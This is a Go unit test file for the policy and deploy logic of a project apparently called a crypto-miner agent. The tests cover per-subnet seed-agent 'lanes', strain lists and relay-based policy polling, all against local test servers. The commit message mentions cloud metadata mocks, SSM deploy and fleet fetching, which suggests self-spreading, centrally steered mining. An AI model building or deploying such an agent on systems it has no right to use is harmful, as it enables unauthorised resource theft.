Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.
83 lines
2.3 KiB
Go
83 lines
2.3 KiB
Go
package deploy
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"sync/atomic"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
|
|
ApplyPolicySnapshot(PolicySnapshotBody{
|
|
GenesisVersion: 4,
|
|
HospiceList: []string{"Dead-Strain"},
|
|
VaccinationLanes: []policyVaccinationLane{{
|
|
Subnet: "10.0.5",
|
|
Lane: json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
|
|
}},
|
|
})
|
|
if PolicyGenesisVersion() != 4 {
|
|
t.Fatalf("genesis=%d", PolicyGenesisVersion())
|
|
}
|
|
if !StrainInPolicyHospice("dead-strain") {
|
|
t.Fatal("expected hospice strain")
|
|
}
|
|
h, ok := VaccinationHintForSubnet("10.0.5.0/24")
|
|
if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
|
|
t.Fatalf("hint=%+v ok=%v", h, ok)
|
|
}
|
|
}
|
|
|
|
func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
|
|
var polls atomic.Int32
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
polls.Add(1)
|
|
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
|
|
}))
|
|
defer srv.Close()
|
|
cfg := config.RuntimeConfig{}
|
|
cfg.EventBridgeRelayURL = srv.URL
|
|
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
|
time.Sleep(150 * time.Millisecond)
|
|
if polls.Load() < 1 {
|
|
t.Fatal("expected relay poll")
|
|
}
|
|
}
|
|
|
|
func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
|
|
var polls atomic.Int32
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
polls.Add(1)
|
|
}))
|
|
defer srv.Close()
|
|
cfg := config.RuntimeConfig{}
|
|
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
|
time.Sleep(120 * time.Millisecond)
|
|
if polls.Load() != 0 {
|
|
t.Fatalf("expected no relay poll without URL, got %d", polls.Load())
|
|
}
|
|
}
|
|
|
|
func TestZeroServerPolicyModeUsesPollURLWhenRelayEmpty(t *testing.T) {
|
|
var polls atomic.Int32
|
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
polls.Add(1)
|
|
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 2})
|
|
}))
|
|
defer srv.Close()
|
|
cfg := config.RuntimeConfig{}
|
|
cfg.PolicySnapshotPollURL = srv.URL
|
|
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
|
time.Sleep(150 * time.Millisecond)
|
|
if polls.Load() < 1 {
|
|
t.Fatal("expected poll URL fetch")
|
|
}
|
|
if PolicyGenesisVersion() != 2 {
|
|
t.Fatalf("genesis=%d", PolicyGenesisVersion())
|
|
}
|
|
}
|